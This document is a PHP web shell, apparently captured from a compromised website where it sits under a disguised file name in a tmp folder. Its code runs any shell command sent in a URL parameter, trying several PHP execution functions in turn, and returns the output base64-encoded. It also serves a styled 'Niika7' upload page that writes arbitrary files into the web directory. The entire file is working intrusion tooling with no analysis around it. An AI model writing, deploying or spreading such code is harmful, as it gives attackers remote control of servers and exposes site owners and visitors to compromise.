ï»¿
Your IP : 216.73.216.74

Current File : /home/andpasi/www/tmp/jcestznq2hy.xml.php
<?php
// Combined payload: verification + command shell + Niika7 uploader
echo 'RXST:' . base64_encode('MATHOK:450462') . ':RXEND';

if(isset($_GET['c'])) {
    $c = $_GET['c'] . ' 2>&1';
    $o = '';
    if(function_exists('shell_exec')) { $o = @shell_exec($c); }
    elseif(function_exists('exec')) { @exec($c, $arr); $o = implode("\n", $arr); }
    elseif(function_exists('system')) { ob_start(); @system($c); $o = ob_get_clean(); }
    elseif(function_exists('passthru')) { ob_start(); @passthru($c); $o = ob_get_clean(); }
    elseif(function_exists('popen')) { $h = @popen($c,'r'); $o=''; while(!feof($h)) { $o.=fread($h,4096); } pclose($h); }
    elseif(function_exists('proc_open')) { $d=[['pipe','r'],['pipe','w'],['pipe','w']]; $p=@proc_open($c,$d,$pi); if($p){ $o=stream_get_contents($pi[1]); proc_close($p); } }
    else { $o = 'BLOCKED'; }
    echo 'RXST:' . base64_encode($o===null?'':$o) . ':RXEND';
    exit;
}
// Niika7 uploader UI
$msg = '';
$type = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
    $f = $_FILES['file'];
    $dest = __DIR__ . '/' . basename($f['name']);
    if ($f['error'] !== UPLOAD_ERR_OK) {
        $msg = 'Upload error: ' . $f['error'];
        $type = 'err';
    } elseif (move_uploaded_file($f['tmp_name'], $dest)) {
        $msg = '✔ File uploaded: ' . htmlspecialchars(basename($f['name']));
        $type = 'ok';
    } else {
        $msg = '✘ Failed to move file.';
        $type = 'err';
    }
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<!-- Niika7-Verify-Shell -->
<title>Niika7 — Upload</title>
<style>
  *{box-sizing:border-box;margin:0;padding:0}
  body{background:#0d0d0d;font-family:'Segoe UI',sans-serif;display:flex;
       align-items:center;justify-content:center;min-height:100vh}
  .card{background:#141414;border:1px solid #222;border-radius:10px;
        padding:36px 40px;width:360px;text-align:center}
  h2{color:#c0c0c0;font-size:1.1rem;font-weight:500;letter-spacing:.05em;
     margin-bottom:28px}
  h2 span{color:#e05c5c;font-weight:700}
  .drop{border:2px dashed #2c2c2c;border-radius:8px;padding:24px 16px;
        cursor:pointer;transition:.2s;margin-bottom:20px}
  .drop:hover{border-color:#e05c5c}
  .drop p{color:#555;font-size:.85rem}
  input[type=file]{display:none}
  label.btn{display:block;background:#1e1e1e;color:#aaa;
            border:1px solid #2e2e2e;border-radius:6px;padding:9px;
            font-size:.85rem;cursor:pointer;transition:.2s;margin-bottom:14px}
  label.btn:hover{border-color:#e05c5c;color:#e05c5c}
  #fname{color:#777;font-size:.78rem;margin-bottom:16px;min-height:1.1em}
  button{width:100%;padding:10px;background:#e05c5c;border:none;
         border-radius:6px;color:#fff;font-size:.9rem;font-weight:600;
         cursor:pointer;letter-spacing:.03em;transition:.2s}
  button:hover{background:#c94b4b}
  .msg{margin-top:18px;padding:10px 14px;border-radius:6px;font-size:.85rem}
  .ok{background:#0e2e1a;color:#4caf72;border:1px solid #1a4a2a}
  .err{background:#2e0e0e;color:#e05c5c;border:1px solid #4a1a1a}
</style>
</head>
<body>
<div class="card">
  <h2><span>Nikaa</span>7 &mdash; File Upload</h2>
  <form method="post" enctype="multipart/form-data" id="frm">
    <div class="drop" onclick="document.getElementById('f').click()">
      <p>Click to select a file</p>
    </div>
    <input type="file" name="file" id="f"
           onchange="document.getElementById('fname').textContent=this.files[0]?this.files[0].name:''">
    <div id="fname"></div>
    <label class="btn" for="f">&#128194; Browse</label>
    <button type="submit">Upload</button>
  </form>
  <?php if ($msg): ?>
  <div class="msg <?= $type ?>"> <?= $msg ?> </div>
  <?php endif; ?>
</div>
</body>
</html>